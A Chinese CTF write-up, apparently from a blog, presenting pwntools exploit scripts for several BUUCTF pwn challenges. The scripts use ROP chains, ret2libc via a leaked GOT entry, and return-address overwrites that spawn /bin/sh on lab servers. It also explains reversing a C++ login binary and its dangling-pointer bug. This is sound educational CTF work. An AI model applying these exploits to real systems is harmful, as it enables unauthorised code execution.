和上一道题完全一样。

from pwn import * context.log_level='debug' # io = process('./pwn') io = remote('node4.buuoj.cn', 26121) int80 = 0x80493E1 popeax_ret = 0x80BAE06 popedx_ret = 0x806e82a popecx_ebx_ret = 0x806E851 addesp0x14_ret = 0x807b36c bss = 0x80EB060 read = 0x806CD50 payload = cyclic(0x14   12)  payload  = p32(read)   # call read() payload  = p32(addesp0x14_ret) # return address, add esp to execute latter ROP payload  = p32(0)    # arg #1 of read(): stdin payload  = p32(bss)    # arg #2 of read(): a bss address payload  = p32(0x8)    # arg #3 of read(): read length payload  = p32(0) * 2  payload  = p32(popeax_ret)  # eax = 0x11(SYS_EXECVE) payload  = p32(11) payload  = p32(popecx_ebx_ret) payload  = p32(0)    # ebx = '/bin/sh' payload  = p32(bss)    # edx = 0 payload  = p32(popedx_ret) payload  = p32(0)    # ecx = 0 payload  = p32(int80)   # int 80  io.sendline(payload) io.sendline(b'/bin/sh' + b'\x00') io.interactive() 

from pwn import *
context.log_level='debug'
# io = process('pwn')
io = remote('node4.buuoj.cn', 27446)
io.sendline(cyclic(0x6C+4) + p32(0x80485CB) + p32(0) + p32(0xdeadbeef) + p32(0xdeadc0de))
io.interactive()

from pwn import *
from LibcSearcher import *
context.log_level='debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 25724)
elf = ELF('./pwn')
payload = cyclic(0x6C + 4)
payload += p32(elf.plt['write'])
payload += p32(elf.symbols['vuln'])
payload += p32(1)
payload += p32(elf.got['write'])
payload += p32(4)
io.sendlineafter(b'Welcome to XDCTF2015~!\n', payload)
write = u32(io.recv(4))
print(hex(write))
libc = LibcSearcher('write', write)
base = write - libc.dump('write')
sys = libc.dump('system') + base
binsh = libc.dump('str_bin_sh') + base
payload = cyclic(0x6C + 4)
payload += p32(sys)
payload += p32(0)
payload += p32(binsh)
io.sendline(payload)
io.interactive()

from pwn import *
context.log_level='debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 27499)
io.sendline(cyclic(0xC + 12) + p32(0x804856D))
io.interactive()

连上之后输48个无效字节+‘n0t_r3@11y_f1@g’

这道题只能溢出到返回地址+4字节的地方，直接修改返回地址到system函数的话参数写不进去，所以利用shell函数返回到指令’call _system’的地方，在后面就可以写函数参数’sh’（截取/bbbbbbbbin_what_the_f?ck__–??/sh的最后两个字节）了。

from pwn import *
context.log_level='debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 29467)
elf = ELF('./pwn')
io.sendline(cyclic(24+4) + p32(0x8048529) + p32(0x8048670))
io.interactive()

第一道C++ pwn题。这也是我第一次认真在做一道C++ pwn的题目。 当然首先，我们需要会逆向C++程序。C++是C的超集，有很多C中没有的东西。其中最为重要的就是类与对象的识别了。 在这一题中，程序的符号表貌似没有被删除，我们可以看到IDA为我们分析出来的各种函数名与类名称。 其中容易发现程序中定义了两个类：User和Admin，而且似乎有三个main中定义的lambda函数。

程序中无法查看User类的具体结构，因此我们需要手动创建User类结构体，在IDA的Structures窗口中定义：Ins快捷键创建结构体，Del删除结构体，D/A/*创建结构体成员（常用D），N修改成员名，U删除成员。如下图：（具体为什么要这样定义看下面的分析）

通过User类的构造函数发现，构造函数在User，User+8，User+0x58处进行了赋值操作，这里的后面两个均是使用strncpy函数赋值，因此判断是字符串。第一个声明赋值指向的是这样一个结构，有两个函数指针，判断是User类的虚函数表，因为C++类的虚函数表通常都是放在类的最开头位置。可以看到User类中定义了两个虚函数get_password和shell。使用快捷键Y可以修改参数的类型，修改为合适的类型之后，反汇编出来的代码中就不会有一大堆强制转型了，看上去舒服很多。 又通过User类的get_password方法可以判断出后面两个大小为0x50的字符串中到底哪个是用户名哪个是密码。使用快捷键N可以修改参数或变量的名字，修改之后的User类构造函数如下图： 另外，在main函数中发现了login变量，其属于User类，且位于bss段中，判断是User类全局变量对象。我们将bss段中的这个对象修改类型发现大小正好符合，说明我们之前定义的User类结构是正确的。 再看一下Admin类的构造函数，发现其调用了User类的构造函数，因此判断Admin类是User类的子类。 从Admin类虚函数表中含有User类函数也可以说明Admin类是User的子类，且Admin类覆写了User类的shell方法，打开发现User类的shell没有任何作用，而Admin类的shell方法就是直接执行’/bin/sh’，是一个后门。而get_password类没有覆写，在User类中仅仅是用了virtual声明而已。 现在，我们已经将程序中主要的类、对象分析完毕，main函数的前半部分我们可以读懂了。 在main函数中，实例化了一个Admin对象，用户名为admin，密码为2jctf_pa5sw0rd。然后接受用户的输入设置全局User类对象的用户名和密码。

然后main函数用lambda函数做了一些什么事情，我们进入password_checker的某个函数看一下。 这个函数进行密码输入的比较，如果输入密码正确就执行exec函数指针指向的函数。 根据这个函数的声明，推测password_checker应该是一个结构体，其中包含了后面的lambda函数（注意这个函数应该是一个定义于password_checker结构体中的lambda函数，注意password_checker与lambda函数之间是以::连接） 在password_checker函数中发现了checker结构体的赋值操作，password_checker中只有这一个函数指针存在。 因此这一段代码原本的作用是：检查密码是否输入正确，如果正确则执行greeting_func函数： 但是经过实地运行发现，在lambda函数中会发生段错误，错就错在exec函数指针上。原本指针的值应为0x400A90，但是执行到这里的时候发现已经被改成了0x400090。 进一步跟踪调试发现，是strip_newline函数自动识别换行符（ASCII码为0xA），然后给这个地址错误地修改了，变成了一个无效的值。

这给了我们提示：strip_newline是在lambda函数中调用的，但是却能够修改exec函数的地址，通过调试我们不难发现，exec是一个指针，通过main函数调用password_checker函数获取，但是这是password_checker的局部变量，其地址应该在main函数栈帧的低地址处（main函数实际上没有栈帧，这里类比其他函数的栈帧方便理解），也就是main函数执行时esp的低地址处，而调用其他函数时这里的地址自然就有可能会受到影响。由此可见，如果我们输入密码的时候修改这里的地址值到Admin类的shell函数地址，就能够拿到shell了。

因此，本题的漏洞点在于返回局部变量的值，属于逻辑错误。子函数返回到父函数的返回值不应该是子函数局部变量的值。漏洞本身不难，但是对于逆向C++而言还是一次很好的训练与学习。

exp：

from pwn import *
context.log_level='debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 26270)
io.sendline(b'admin')
io.sendline(b'2jctf_pa5sw0rd\x00\x00' + p64(0x400E88) * 8)
io.interactive()

尝试使用CLion还原出程序的源代码：（C++基础不扎实，尽量还原）

#include <iostream>
#include <cstring>
using namespace std;

void strip_newline(char* buf, int64_t length){ 
        
    char* i;
    for(i = &buf[length]; i >= buf; i--){ 
        
        if ( *i == '\n' )
            *i = '\0';
    }
}

class User{ 
        
private:
    char username[0x50]{ 
        };
    char password[0x50]{ 
        };
public:
    User(){ 
        }
    User(const char* username, const char* password){ 
        
        strncpy(this->username, username, 0x50);
        strncpy(this->password, password, 0x50);
    }
    void read_name(){ 
        
        char name[80];
        fgets(name, 79, stdin);
        strip_newline(name, 80);
        strncpy(this->username, name, 0x50);
    }
    void read_password(){ 
        
        char pwd[80];
        fgets(pwd, 79, stdin);
        strip_newline(pwd, 80);
        strncpy(this->password, pwd, 0x50);
    }
public:
    virtual char* get_password(){ 
        
        return this->password;
    }
    virtual void shell(){ 
        
        puts("No shell for you!");
    }
};

class Admin : User{ 
        
public:
    Admin(const char* username, const char* password) : User(username, password){ 
        }
    void shell() override{ 
        
        puts("Congratulations!");
        system("/bin/sh");
    }
    char* get_password() override{ 
        
        return User::get_password();
    }
};

typedef struct checker{ 
        
    void (*check)();
    int64_t null[2];
}checker;

checker* password_checker(void (*check)()){ 
        
    checker checker;
    checker.check = check;
    return &checker;
}

User login;

int main() { 
        
    char admin_password[88];
    cout << "Hello, World!" << endl;
    setbuf(stdout, 0);
    strcpy(admin_password, "2jctf_pa5sw0rd");
    memset(&admin_password[15], 0, 65);
    Admin admin((const char*)"admin", admin_password);
    puts(
            " _____ _ ____ _____ _____ _ _ \n"
            "|__ / | |/ ___|_ _| ___| | | ___ __ _(_)_ __ \n"
            " / /_ | | | | | | |_ | | / _ \\ / _` | | '_ \\ \n"
            " / /| |_| | |___ | | | _| | |__| (_) | (_| | | | | |\n"
            "/____\\___/ \\____| |_| |_| |_____\\___/ \\__, |_|_| |_|\n"
            " |___/ ");
    printf("Please enter username: ");
    login.read_name();
    printf("Please enter password: ");
    auto greeting_func = []()->void{ 
        
        puts("<===Welcome to ZJCTF!!!===>");
        return login.shell();
    };
    checker* exec = password_checker(greeting_func);
    login.read_password();
    char* admin_pwd = admin.get_password();
    char* user_pwd = login.get_password();
    [](checker* exec, char* admin_pwd, char* user_pwd)->void{ 
        
        char s[88];
        if(!strcmp(admin_pwd, user_pwd)){ 
        
            snprintf(s, 0x50uLL, "Password accepted: %s\n", s);
            puts(s);
            exec->check();
        }else{ 
        
            puts("Nope!");
        }
    }(exec, admin_pwd, user_pwd);
    return 0;
}